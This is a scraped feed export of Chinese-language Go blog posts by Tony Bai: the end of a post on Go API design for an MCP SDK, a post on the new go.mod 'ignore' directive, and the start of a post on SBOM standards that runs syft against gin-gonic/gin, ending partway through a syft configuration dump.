Go API”应该具备哪些特质。\n参考资料地址：https://github.com/orgs/modelcontextprotocol/discussions/364\n精进有道，更上层楼：解锁 Go API 设计的“Go 境界”\n对今天的 Go API 设计案例意犹未尽？想系统学习，将 Go 官方的设计智慧融入你的每一个接口吗？\n我在最新上架的Go语言进阶课中，特设 “API 设计：构建用户喜爱、健壮可靠的公共接口” 一讲。它将为你深入剖析 Go API设计的五大核心要素，并结合更多实战案例，助你从“会用 Go”迈向“精通 Go”。\n扫描下方二维码，立即开启你的进阶之旅！\n深入探讨，加入我们！\n当然，学习的路上不孤单。关于 Go API 设计、SDK 构建、以及 MCP 协议本身等更前沿、更深入的话题，我的知识星球 “Go \u0026amp; AI 精进营” 依然是大家交流、碰撞思想的绝佳平台。\n欢迎扫描下方二维码加入星球，与我和其他 Gopher 一起，在实践中成长，在讨论中精进！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/05/23/go-api-design-mcp-sdk/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-api-design-mcp-sdk-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/05/23/go-api-design-mcp-sdk\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/05/23/go-api-design-mcp-sdk\"\u003ehttps://tonybai.com/2025/05/23/go-api-design-mcp-sdk\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是 Tony Bai。\u003c/p\u003e\n\u003cp\u003e作为开发者，我们每天都在与 API 打交道——调用它们，设计它们，有时也会为糟糕的 API 设计而头痛不已。一个优秀的 API，如同一位技艺精湛的向导，能清晰、高效地引领我们通往复杂功能的彼岸；而一个蹩脚的 API，则可能像一座布满陷阱的迷宫，让我们步履维艰。\u003c/p\u003e","title":"API设计的“Go境界”：Go团队设计MCP SDK过程中的取舍与思考"},{"content":"Go工具链进化：go.mod新增ignore指令，破解混合项目构建难题 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\nGo工具链进化：go.mod新增ignore指令，破解混合项目构建难题 五月 22, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/05/22/go-mod-ignore-directive\n大家好，我是Tony Bai。\n在现代软件开发中，项目往往包含多种语言和技术栈。例如，一个典型的 Web 应用可能同时包含 Go 后端代码、JavaScript/TypeScript 前端代码（及其庞大的 node_modules 依赖目录）、由 Bazel 等构建系统生成的中间目录，以及其他各种配置文件和资源文件。\n对于这类项目，Go 开发者经常面临以下挑战：\n工具执行缓慢： 当使用 ./… 通配符执行 go list, go test, go vet 等命令时，Go 工具会遍历项目下的所有目录，包括那些与 Go 无关但文件数量巨大的目录（如 node_modules 可能包含数十万文件）。这会导致命令执行时间远超预期。 gopls 资源消耗过高： Go 语言服务器 gopls 在分析项目时，也可能因扫描这些无关目录而消耗大量 CPU 和内存资源，影响 IDE 的响应速度和开发体验。 go mod tidy 行为困扰： 如果被忽略的目录中意外包含了 Go 文件（例如某些 npm 包中携带的示例 Go 代码），go mod tidy 可能会尝试将其纳入模块管理，导致非预期的依赖变更。 尽管社区提出过多种临时解决方案，如在特定目录放置空 go.mod 文件、使用工具特定的忽略配置（如 gopls 的 directoryFilters 或 goimports 的 .goimportsignore），但这些方法要么不便携，要么不成体系，导致了生态系统的碎片化。\n2023年中旬，经过社区的广泛讨论和 Go 核心团队的审慎评估，备受关注的提案 Go Issue #42965 终于尘埃落定：Go 语言将在 go.mod 文件中引入新的 ignore 指令，旨在为开发者提供一个官方、统一的机制来指定 Go 工具链应忽略的目录。但两年来，该proposal的实现一直未落地，直到近期其实现代码才被merge到主线。这一改进预计将在 Go 1.25 及后续版本中实装，并有望显著提升大型和多语言项目的开发体验。\n在这篇文章中，我就和大家一起这个提案的具体内容以及它能给Go开发者带来哪些便利！\nignore 指令：官方的统一解决方案 Go Issue #42965 的核心目标是提供一个全局的、可被 Go 工具链生态系统共同理解的目录忽略机制。经过多轮讨论和对各种方案（如独立的 .goignore 或 go.ignore 文件、利用 go.work 等）的权衡，Go 团队最终采纳了在 go.mod 文件中添加 ignore 指令的方案。\n提案核心内容 ignore 指令语法 ignore ./directory_name：忽略相对于模块根目录的特定目录 directory_name 及其所有子目录。 ignore directory_name (无前导 ./)：忽略在模块内任何位置出现的名为 directory_name 的目录及其所有子目录。 go.mod文件支持ignore的子块的语法形式如下： ignore ( ./node_modules ./bazel-out build_cache ) ignore 指令将仅在 go.mod 文件声明的 Go 版本为特定版本（例如，当时提案中讨论的是 go 1.22 ，如今落地很可能是go 1.25或更高）时生效。这是利用了 Go 1.21 引入的前向兼容性工作 (#57001)，使得 Go 工具可以根据 go.mod 中的 go 版本来改变其行为，而不会破坏旧版本模块的构建。\n被 ignore 的文件或目录将被 Go 工具链视为与以 _ 或 . 开头的目录/文件类似。这意味着：\n它们不会被包含在包通配符（如 ./…）的匹配结果中。 gopls 和其他依赖 go list 的工具将不再扫描这些目录。 根据最终的讨论结果和后续的实现 CL），ignore 指令主要影响的是 Go 工具在构建和分析时的行为（“build-ignore”），而被忽略的文件和目录目前仍会被包含在模块的 zip 包中 (即不会实现 “mod-ignore”)。这是为了避免模块在本地和从代理下载时行为不一致，以及解决模块校验和的问题。如果开发者希望从发布的模块中排除某些文件，建议采用类似生成代码的发布流程，即在打标签前在特定分支或提交中移除这些文件。\nignore机制没有“反忽略” (un-ignore) 规则，即如果一个目录被忽略，其下的任何子目录或文件都无法被单独“取消忽略”，以保持规则的简单性和可预测性。同时，ignore不支持通配符 (Wildcards)，这是出于对复杂性和理解难度的考量，ignore 指令的路径参数初步不计划支持类似 path.Match 的通配符。\n为什么选择go.mod？ 将 ignore 指令放在 go.mod 文件中，是因为这些忽略规则被认为是模块定义的一部分。开发者对模块应包含哪些内容、工具应如何处理其结构有最终决定权。这使得忽略规则可以随模块版本一起被版本控制和共享。\n快速体验 ignore 指令 (使用 gotip) 对于希望提前尝鲜的开发者，可以使用 gotip（Go 开发版本的工具）来试验这一特性（目前ignore 指令已合并到主开发分支）。\n试验用项目结构 假设我们有如下项目结构：\nmyproject/ ├── go.mod ├── main.go ├── internal/ │ └── logic.go ├── node_modules/ \u0026lt;-- 包含大量 JS 文件和一些 .go 文件 │ └── some_npm_package/ │ └── example.go └── build_output/ \u0026lt;-- 构建工具生成的目录 └── a_binary_file 我们不希望 go list ./… 或 gopls 扫描 node_modules 和 build_output。我们可以在 go.mod 中添加：\n// myproject/go.mod module myproject go 1.22 // 假设 Go 1.22 开始支持 ignore ignore ( ./node_modules ./build_output ) 试验步骤 安装 gotip: $go install golang.org/dl/gotip@latest $gotip download 创建示例项目和文件：按照上述结构创建目录和空的 .go 文件。在 node_modules/some_npm_package/example.go 中放入一个简单的 Go 包声明。\n不使用 ignore 运行 go list:\n$gotip list ./... myproject myproject/internal myproject/node_modules/some_npm_package 此时，输出包含了 myproject/node_modules/some_npm_package。\n在 go.mod 中添加 ignore 指令，如上所示。 再次运行 go list: $gotip list ./... myproject myproject/internal 此时，由于 node_modules 被忽略，输出中不再包含这些目录下的包。类似地，gopls 也将不再索引这些目录，从而提升性能。\n请注意： 上述试验步骤使用gotip(go version go1.25-devel_27ff0f24)执行。最终版本行为请以 Go 官方发布为准。在特性正式发布前，gotip 中的ignore指令的具体行为可能会有变动。\n对开发者的价值与影响 ignore 指令的引入，预计将为 Go 开发者，特别是那些在大型、多语言代码库中工作的开发者，带来显著的好处：\n提升工具链性能： go list ./…、go mod tidy 等命令的执行速度将得到提升，因为它们不再需要遍历大量无关文件。 改善 gopls 体验： 语言服务器的 CPU 和内存占用有望降低，IDE 响应更流畅。 统一忽略标准： 替代了各种工具特定的忽略配置，降低了项目配置的复杂性。 更准确的模块行为： 避免了 node_modules 等目录中意外的 Go 文件对 go mod tidy 等命令的干扰。 可移植和可共享的配置： 由于 ignore 指令位于 go.mod 文件中，这些配置可以被团队成员和 CI/CD 系统共享。 讨论中的权衡与考量 在仅两年的讨论中，社区和 Go 团队对多种方案进行了深入探讨，并权衡了各种因素：\n新文件 vs. 现有文件： 创建新的 .goignore 或 go.ignore 文件曾是热门选项，因为它符合 .gitignore 等工具的惯例。但 Go 团队倾向于避免引入更多新的顶级配置文件。将配置整合到 go.mod 被认为是更符合 Go 生态现有模式的做法。 go.work 的适用性： go.work 文件主要用于本地开发的多模块工作区配置，通常不建议提交到版本控制。而目录忽略规则往往需要项目级别共享，因此 go.work 不太适合承载此功能。 对模块代理和校验和的影响： 这是早期讨论中的一个关键阻碍。如果 ignore 指令改变了模块包含的文件集，那么不同版本的 Go 工具可能会对同一模块版本计算出不同的校验和，导致模块代理和依赖管理出现问题。最终方案通过明确 ignore 主要影响“构建时忽略”而非“打包时忽略”，并结合 Go 版本的条件化行为，来规避这一难题。 规则的灵活性与简单性： 是否支持通配符、包含/排除规则的组合等，都在讨论之列。最终选择了相对简单的目录名匹配，以易于理解和实现为优先。 小结 Go go.mod 文件中 ignore 指令的引入，是 Go 工具链在应对现代复杂项目需求方面迈出的重要一步。它直面了长期困扰混合项目开发者的性能和行为一致性问题，并提供了一个官方、统一且向后兼容的解决方案。\n虽然这一改动可能无法满足所有场景下的所有需求（例如，更细粒度的文件忽略或从模块发布包中剔除文件），但它无疑为大多数常见痛点提供了有效的缓解。正如 Go 团队一贯的风格，这是一个务实的、经过深思熟虑的改进，旨在提升广大 Go 开发者的日常工作效率和体验。\n我们期待在未来的 Go 版本中看到这一特性的正式落地（预计 Go 1.25，具体版本视Go团队最终发布而定），并相信它将进一步巩固 Go 作为构建大型、复杂系统的优秀语言的地位。建议开发者关注 Go 官方的发布说明和相关文档，以便在第一时间了解并应用这一新特性。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/05/22/go-mod-ignore-directive/","summary":"\u003cp\u003eGo工具链进化：go.mod新增ignore指令，破解混合项目构建难题 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"Go工具链进化：go.mod新增ignore指令，破解混合项目构建难题"},{"content":"\n本文永久链接 – https://tonybai.com/2025/05/22/go-sbom-practice\n大家好，我是Tony Bai。\n近年来，软件供应链安全事件频发，从 SolarWinds 到 Log4Shell，每一次都给业界敲响了警钟。在这样的背景下，软件物料清单 (SBOM, Software Bill of Materials) 的重要性日益凸显。无论是甲方爸爸的硬性要求（尤其是在2B软件交付和白盒交付场景），还是我们自身对软件透明度和安全性的追求，SBOM 都已成为现代软件开发不可或缺的一环。\n那么，SBOM 究竟是什么？它为何如此重要？市面上有哪些主流的 SBOM 标准？我们又该如何为自己的 Go 项目（当然，也适用于 Java、JS 等其他语言项目）生成和使用 SBOM 呢？\n今天，我们就来一起深入探讨这些问题，为你揭开 SBOM 的神秘面纱。\nSBOM：你的软件“配料表”，为何如此重要？ 想象一下，我们购买食品时会关注配料表，了解其成分、产地和营养信息。SBOM 之于软件，就如同食品的配料表。它是一份正式的、结构化的清单，详细列出了构成某个软件产品的所有组件及其依赖关系。\nSBOM 的核心价值在于提升软件供应链的透明度和可管理性，从而增强安全性：\n透明度与可追溯性： 清晰展示软件由哪些“零件”（开源库、第三方组件、内部模块等）组装而成，包括直接依赖和传递依赖，让软件的构成不再是“黑盒”。 高效的漏洞管理： 当某个组件爆出新的安全漏洞时，通过 SBOM 可以快速定位所有受影响的软件产品，及时采取修复或缓解措施，大大缩短应急响应时间。 许可证合规性审计： 准确识别所有组件的开源许可证类型，确保符合合规要求，避免潜在的法律风险。 供应链风险评估： 了解组件的来源、版本、维护状态等信息，有助于评估整个软件供应链的潜在风险。 提升软件质量与可信度： 向客户和合作伙伴提供 SBOM，能够证明你对软件安全和质量的重视，建立信任。 可以说，SBOM 是构筑现代软件供应链安全防线的基石。\nSBOM 标准巡礼：SPDX、CycloneDX、SWID 与 DSDX 要让 SBOM 真正发挥作用，统一的标准至关重要。目前，业界存在多个 SBOM 标准，各有侧重。我们重点关注几个主流和新兴的规范：\n1. SPDX (Software Package Data Exchange):\n定位与特点： 由 Linux Foundation 主导，是国际公认的 SBOM 开放标准 (ISO/IEC 5962:2021)。SPDX 最初更侧重于许可证合规性，但其规范已发展得非常全面，能够详细描述软件包、文件、代码片段及其之间的关系。 核心数据字段： 包含包信息（名称、版本、供应商、下载位置、校验和）、文件信息（名称、类型、许可证、校验和）、许可证信息（SPDX许可证列表中的标准标识符、自定义许可证）、以及组件之间的关系（依赖、包含、生成等）。 格式： 支持多种格式，如 Tag-Value、JSON、YAML、RDF/XML 等。 适用场景： 许可证合规审计、知识产权管理、软件溯源、大型复杂项目的详细清单管理、漏洞管理等。由于其全面性和国际标准化地位，SPDX 是本次我们实战演练的重点。 2. CycloneDX:\n定位与特点： 由 OWASP（开放式Web应用程序安全项目） 社区驱动，更侧重于安全用例和运营需求。它设计轻量、易于自动化生成和消费，非常适合在 CI/CD 流程中集成。 核心数据字段： 关注组件（名称、版本、供应商、PURL、CPE）、依赖关系图谱、已知漏洞信息（或指向漏洞数据库的链接如 VEX）、服务信息、许可证信息等。 格式： 主要支持 JSON 和 XML。 适用场景： 漏洞管理、安全审计、软件成分分析 (SCA)、CI/CD 集成等。 3. SWID (Software Identification) Tags:\n定位与特点： 由 ISO/IEC 19770-2:2015 标准定义，主要用于软件资产管理 (SAM) 和安全。SWID 标签提供了识别已安装软件、追踪其生命周期（安装、更新、卸载）的方法。 核心价值： 虽然 SWID 本身不直接提供完整的依赖关系图谱，但它可以作为 SBOM 中组件身份识别的重要依据，并能与其他 SBOM 格式结合使用。 适用场景： 软件资产管理、安全配置管理、补丁管理。 4. DSDX (Digital Supply-chain Data Exchange):\n定位与特点： 这是由中国信息通信研究院（CAICT）牵头，联合国内多家单位共同研究制定的数字供应链数据交换标准。它旨在规范数字供应链中各类数据的描述、交换和共享，SBOM 是其关注的重要数据类型之一。 核心价值： DSDX 致力于构建符合中国国情和产业发展需求的数字供应链标准体系，推动国内软件供应链的透明化和安全保障。 适用场景： 国内企业间的软件供应链数据交换、合规性要求等。目前 DSDX 仍在发展和推广阶段，值得国内开发者关注。 标准之间的关系与选择：\n这些标准并非完全孤立。例如，SPDX 和 CycloneDX 都被广泛用于生成 SBOM，并且都符合美国 NTIA《软件物料清单的最小元素》的要求。SWID 标签可以增强 SBOM 中组件的识别能力。DSDX 则可能在未来成为国内数字供应链数据交换的重要规范。\n在实际操作中，SPDX 和 CycloneDX 是目前最主流的 SBOM 格式选择。 许多工具都支持生成这两种格式，它们之间也可以进行一定程度的转换。本次，我们将以 SPDX 为例进行后续的实战演示。\nGo 项目 SPDX SBOM 生成实战：利器 anchore/syft 登场 理论说了不少，我们来动手实践一下。市面上有许多优秀的 SBOM 生成工具，今天我们选用一款广受欢迎的开源工具：anchore/syft。\nsyft 是一个功能强大的 CLI 工具和 Go 库，可以从容器镜像和文件系统中生成 SBOM。它支持多种 SBOM 格式（包括我们今天重点关注的 SPDX 和另一种主流格式 CycloneDX），并且对多种编程语言和包管理器有良好的支持。\n安装 syft 你可以从其 GitHub Release 页面下载预编译的二进制文件，或者使用 Go 工具安装：\n$go install github.com/anchore/syft/cmd/syft@latest 确保你的 $GOPATH/bin 或 $GOBIN 在你的 PATH 环境变量中。\n实战：为知名 Go Web 框架 gin-gonic/gin 生成 SPDX JSON SBOM 让我们以一个真实的、大家熟知的 Go 开源项目 gin-gonic/gin 为例。首先，你需要将项目克隆到本地：\n$git clone https://github.com/gin-gonic/gin.git $cd gin 然后，在 gin 项目的根目录下，运行 syft 命令生成 SPDX JSON 格式(spdx 2.3规范)的 SBOM：\n$syft . -o spdx-json=gin-sbom.spdx.json ✔ Indexed file system . ✔ Cataloged contents cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8 ├── ✔ Packages [48 packages] ├── ✔ Executables [0 executables] ├── ✔ File digests [4 files] └── ✔ File metadata [4 locations] [0000] WARN no explicit name and version provided for directory source, deriving artifact ID from the given path (which is not id ... ... 这里的“.”代表当前目录。syft会自动识别 Go 项目的 go.mod 文件来解析依赖，并将结果输出到 gin-sbom.spdx.json 文件中。\n注：截至目前，spdx的最新规范版本为3.0.1。\n生成的 gin-sbom.spdx.json 文件内容片段示例：\n{ \u0026#34;spdxVersion\u0026#34;: \u0026#34;SPDX-2.3\u0026#34;, \u0026#34;dataLicense\u0026#34;: \u0026#34;CC0-1.0\u0026#34;, \u0026#34;SPDXID\u0026#34;: \u0026#34;SPDXRef-DOCUMENT\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;.\u0026#34;, \u0026#34;documentNamespace\u0026#34;: \u0026#34;https://anchore.com/syft/dir/453d49c6-8063-46f1-9d7e-61dd7e789f6d\u0026#34;, \u0026#34;creationInfo\u0026#34;: { \u0026#34;licenseListVersion\u0026#34;: \u0026#34;3.25\u0026#34;, \u0026#34;creators\u0026#34;: [ \u0026#34;Organization: Anchore, Inc\u0026#34;, \u0026#34;Tool: syft-[not provided]\u0026#34; ], \u0026#34;created\u0026#34;: \u0026#34;2025-05-17T22:45:19Z\u0026#34; }, \u0026#34;packages\u0026#34;: [ { \u0026#34;name\u0026#34;: \u0026#34;actions/cache\u0026#34;, \u0026#34;SPDXID\u0026#34;: \u0026#34;SPDXRef-Package-github-action-actions-cache-422933d2a61f8d51\u0026#34;, \u0026#34;versionInfo\u0026#34;: \u0026#34;v4\u0026#34;, \u0026#34;supplier\u0026#34;: \u0026#34;Organization: GitHub\u0026#34;, \u0026#34;originator\u0026#34;: \u0026#34;Organization: GitHub\u0026#34;, \u0026#34;downloadLocation\u0026#34;: \u0026#34;NOASSERTION\u0026#34;, \u0026#34;filesAnalyzed\u0026#34;: false, \u0026#34;sourceInfo\u0026#34;: \u0026#34;acquired package info from GitHub Actions workflow file or composite action file: /.github/workflows/gin.yml\u0026#34;, \u0026#34;licenseConcluded\u0026#34;: \u0026#34;NOASSERTION\u0026#34;, \u0026#34;licenseDeclared\u0026#34;: \u0026#34;NOASSERTION\u0026#34;, \u0026#34;copyrightText\u0026#34;: \u0026#34;NOASSERTION\u0026#34;, \u0026#34;externalRefs\u0026#34;: [ { \u0026#34;referenceCategory\u0026#34;: \u0026#34;SECURITY\u0026#34;, \u0026#34;referenceType\u0026#34;: \u0026#34;cpe23Type\u0026#34;, \u0026#34;referenceLocator\u0026#34;: \u0026#34;cpe:2.3:a:actions\\\\/cache:actions\\\\/cache:v4:*:*:*:*:*:*:*\u0026#34; }, { \u0026#34;referenceCategory\u0026#34;: \u0026#34;PACKAGE-MANAGER\u0026#34;, \u0026#34;referenceType\u0026#34;: \u0026#34;purl\u0026#34;, \u0026#34;referenceLocator\u0026#34;: \u0026#34;pkg:github/actions/cache@v4\u0026#34; } ] }, ... ... SPDX JSON 格式详细记录了文档信息、包信息（包括名称、版本、SPDXID、许可证、PURL等）以及它们之间的依赖关系。\nsyft输出定制 如果你觉得syft默认输出到json文件中的信息不全，你可以对syft的行为做一些配置，可以使用syft配置文件，也可以使用环境变量。\nsyft默认的配置文件位置有如下几个(优先级从高到低)：\n.syft.yaml .syft/config.yaml ~/.syft.yaml \u0026lt;XDG_CONFIG_HOME\u0026gt;/syft/config.yaml 如果你不知道配置文件的格式，可以执行syft config查看当前配置：\n$syft config log: # suppress all logging output (env: SYFT_LOG_QUIET) quiet: false # increase verbosity (-v = info, -vv = debug) (env: SYFT_LOG_VERBOSITY) verbosity: 0 # explicitly set the logging level (available: [error warn info debug trace]) (env: SYFT_LOG_LEVEL) level: \u0026#39;warn\u0026#39; # file path to write logs to (env: SYFT_LOG_FILE) file: \u0026#39;\u0026#39; dev: # capture resource profiling data (available: [cpu, mem]) (env: SYFT_DEV_PROFILE) profile: \u0026#39;\u0026#39; # the configuration file(s) used to load application configuration (env: SYFT_CONFIG) config: \u0026#39;\u0026#39; # the output format(s) of the SBOM report (options: syft-table, syft-text, syft-json, spdx-json, ...) # to specify multiple output files in differing formats, use a list: # output: # - \u0026#34;syft-json=\u0026lt;syft-json-output-file\u0026gt;\u0026#34; # - \u0026#34;spdx-json=\u0026lt;spdx-json-output-file\u0026gt;\u0026#34; (env: SYFT_OUTPUT) output: - \u0026#39;syft-table\u0026#39; # file to write the default report output to (default is STDOUT) (env: SYFT_LEGACYFILE) legacyFile: \u0026#39;\u0026#39; format: # default value for all formats that support the \u0026#34;pretty\u0026#34; option (default is unset) (env: SYFT_FORMAT_PRETTY) pretty: template: # path to the template file to use when rendering the output with the template output format. # Note that all template paths are based on the current syft-json schema (env: SYFT_FORMAT_TEMPLATE_PATH) path: \u0026#39;\u0026#39; # if true, uses the go structs for the syft-json format for templating. # if false, uses the syft-json output for templating (which follows the syft JSON schema exactly). # # Note: long term support for this option is not guaranteed (it may change or break at any time) (env: SYFT_FORMAT_TEMPLATE_LEGACY) legacy: false json: # transform any syft-json output to conform to an approximation of the v11.0.1 schema. This includes: # - using the package metadata type names from before v12 of the JSON schema (changed in https://github.com/anchore/syft/pull/1983) # # Note: this will still include package types and fields that were added at or after json schema v12. This means # that output might not strictly be json schema v11 compliant, however, for consumers that require time to port # over to the final syft 1.0 json output this option can be used to ease the transition. # # Note: long term support for this option is not guaranteed (it may change or break at any time) (env: SYFT_FORMAT_JSON_LEGACY) legacy: false # include space indentation and newlines # note: inherits default value from \u0026#39;format.pretty\u0026#39; or \u0026#39;false\u0026#39; if parent is unset (env: SYFT_FORMAT_JSON_PRETTY) pretty: spdx-json: # include space indentation and newlines # note: inherits default value from \u0026#39;format.pretty\u0026#39; or \u0026#39;false\u0026#39; if parent is unset (env: SYFT_FORMAT_SPDX_JSON_PRETTY) pretty: cyclonedx-json: # include space indentation and newlines # note: inherits default value from \u0026#39;format.pretty\u0026#39; or \u0026#39;false\u0026#39; if parent is unset (env: SYFT_FORMAT_CYCLONEDX_JSON_PRETTY) pretty: cyclonedx-xml: # include space indentation and newlines # note: inherits default value from \u0026#39;format.pretty\u0026#39; or \u0026#39;false\u0026#39; if parent is unset (env: SYFT_FORMAT_CYCLONEDX_XML_PRETTY) pretty: # whether to check for an application update on start up or not (env: SYFT_CHECK_FOR_APP_UPDATE) check-for-app-update: true # enable one or more package catalogers (env: SYFT_CATALOGERS) catalogers: [] # set the base set of catalogers to use (defaults to \u0026#39;image\u0026#39; or \u0026#39;directory\u0026#39; depending on the scan source) (env: SYFT_DEFAULT_CATALOGERS) default-catalogers: [] # add, remove, and filter the catalogers to be used (env: SYFT_SELECT_CATALOGERS) select-catalogers: [] package: # search within archives that do not contain a file index to search against (tar, tar.gz, tar.bz2, etc) # note: enabling this may result in a performance impact since all discovered compressed tars will be decompressed # note: for now this only applies to the java package cataloger (env: SYFT_PACKAGE_SEARCH_UNINDEXED_ARCHIVES) search-unindexed-archives: false # search within archives that do contain a file index to search against (zip) # note: for now this only applies to the java package cataloger (env: SYFT_PACKAGE_SEARCH_INDEXED_ARCHIVES) search-indexed-archives: true # allows users to exclude synthetic binary packages from the sbom # these packages are removed if an overlap with a non-synthetic package is found (env: SYFT_PACKAGE_EXCLUDE_BINARY_OVERLAP_BY_OWNERSHIP) exclude-binary-overlap-by-ownership: true license: # include the content of licenses in the SBOM for a given syft scan; valid values are: [all unknown none] (env: SYFT_LICENSE_CONTENT) content: \u0026#39;none\u0026#39; # deprecated: please use \u0026#39;license-content\u0026#39; instead (env: SYFT_LICENSE_INCLUDE_UNKNOWN_LICENSE_CONTENT) include-unknown-license-content: # adjust the percent as a fraction of the total text, in normalized words, that # matches any valid license for the given inputs, expressed as a percentage across all of the licenses matched. (env: SYFT_LICENSE_COVERAGE) coverage: 75 # deprecated: please use \u0026#39;coverage\u0026#39; instead (env: SYFT_LICENSE_LICENSE_COVERAGE) license-coverage: file: metadata: # select which files should be captured by the file-metadata cataloger and included in the SBOM. # Options include: # - \u0026#34;all\u0026#34;: capture all files from the search space # - \u0026#34;owned-by-package\u0026#34;: capture only files owned by packages # - \u0026#34;none\u0026#34;, \u0026#34;\u0026#34;: do not capture any files (env: SYFT_FILE_METADATA_SELECTION) selection: \u0026#39;owned-by-package\u0026#39; # the file digest algorithms to use when cataloging files (options: \u0026#34;md5\u0026#34;, \u0026#34;sha1\u0026#34;, \u0026#34;sha224\u0026#34;, \u0026#34;sha256\u0026#34;, \u0026#34;sha384\u0026#34;, \u0026#34;sha512\u0026#34;) (env: SYFT_FILE_METADATA_DIGESTS) digests: - \u0026#39;sha1\u0026#39; - \u0026#39;sha256\u0026#39; content: # skip searching a file entirely if it is above the given size (default = 1MB; unit = bytes) (env: SYFT_FILE_CONTENT_SKIP_FILES_ABOVE_SIZE) skip-files-above-size: 256000 # file globs for the cataloger to match on (env: SYFT_FILE_CONTENT_GLOBS) globs: [] executable: # file globs for the cataloger to match on (env: SYFT_FILE_EXECUTABLE_GLOBS) globs: [] # selection of layers to catalog, options=[squashed all-layers deep-squashed] (env: SYFT_SCOPE) scope: \u0026#39;squashed\u0026#39; # number of cataloger workers to run in parallel # by default, when set to 0: this will be based on runtime.NumCPU * 4, if set to less than 0 it will be unbounded (env: SYFT_PARALLELISM) parallelism: 0 relationships: # include package-to-file relationships that indicate which files are owned by which packages (env: SYFT_RELATIONSHIPS_PACKAGE_FILE_OWNERSHIP) package-file-ownership: true # include package-to-package relationships that indicate one package is owned by another due to files claimed to be owned by one package are also evidence of another package\u0026#39;s existence (env: SYFT_RELATIONSHIPS_PACKAGE_FILE_OWNERSHIP_OVERLAP) package-file-ownership-overlap: true compliance: # action to take when a package is missing a name (env: SYFT_COMPLIANCE_MISSING_NAME) missing-name: \u0026#39;drop\u0026#39; # action to take when a package is missing a version (env: SYFT_COMPLIANCE_MISSING_VERSION) missing-version: \u0026#39;stub\u0026#39; # Enable data enrichment operations, which can utilize services such as Maven Central and NPM. # By default all enrichment is disabled, use: all to enable everything. # Available options are: all, golang, java, javascript (env: SYFT_ENRICH) enrich: [] dotnet: # only keep dep.json packages which an executable on disk is found. The package is also included if a DLL is found for any child package, even if the package itself does not have a DLL. (env: SYFT_DOTNET_DEP_PACKAGES_MUST_HAVE_DLL) dep-packages-must-have-dll: false # only keep dep.json packages which have a runtime/resource DLL claimed in the deps.json targets section (but not necessarily found on disk). The package is also included if any child package claims a DLL, even if the package itself does not claim a DLL. (env: SYFT_DOTNET_DEP_PACKAGES_MUST_CLAIM_DLL) dep-packages-must-claim-dll: true # treat DLL claims or on-disk evidence for child packages as DLL claims or on-disk evidence for any parent package (env: SYFT_DOTNET_PROPAGATE_DLL_CLAIMS_TO_PARENTS) propagate-dll-claims-to-parents: true # show all packages from the deps.json if bundling tooling is present as a dependency (e.g. ILRepack) (env: SYFT_DOTNET_RELAX_DLL_CLAIMS_WHEN_BUNDLING_DETECTED) relax-dll-claims-when-bundling-detected: true golang: # search for go package licences in the GOPATH of the system running Syft, note that this is outside the # container filesystem and potentially outside the root of a local directory scan (env: SYFT_GOLANG_SEARCH_LOCAL_MOD_CACHE_LICENSES) search-local-mod-cache-licenses: # specify an explicit go mod cache directory, if unset this defaults to $GOPATH/pkg/mod or $HOME/go/pkg/mod (env: SYFT_GOLANG_LOCAL_MOD_CACHE_DIR) local-mod-cache-dir: \u0026#39;~/Go/pkg/mod\u0026#39; # search for go package licences in the vendor folder on the system running Syft, note that this is outside the # container filesystem and potentially outside the root of a local directory scan (env: SYFT_GOLANG_SEARCH_LOCAL_VENDOR_LICENSES) search-local-vendor-licenses: # specify an explicit go vendor directory, if unset this defaults to ./vendor (env: SYFT_GOLANG_LOCAL_VENDOR_DIR) local-vendor-dir: \u0026#39;\u0026#39; # search for go package licences by retrieving the package from a network proxy (env: SYFT_GOLANG_SEARCH_REMOTE_LICENSES) search-remote-licenses: # remote proxy to use when retrieving go packages from the network, # if unset this defaults to $GOPROXY followed by https://proxy.golang.org (env: SYFT_GOLANG_PROXY) proxy: \u0026#39;https://goproxy.cn,direct\u0026#39; # specifies packages which should not be fetched by proxy # if unset this defaults to $GONOPROXY (env: SYFT_GOLANG_NO_PROXY) no-proxy: \u0026#39;gomod.io,10.170.133.199\u0026#39; main-module-version: # look for LD flags that appear to be setting a version (e.g. -X main.version=1.0.0) (env: 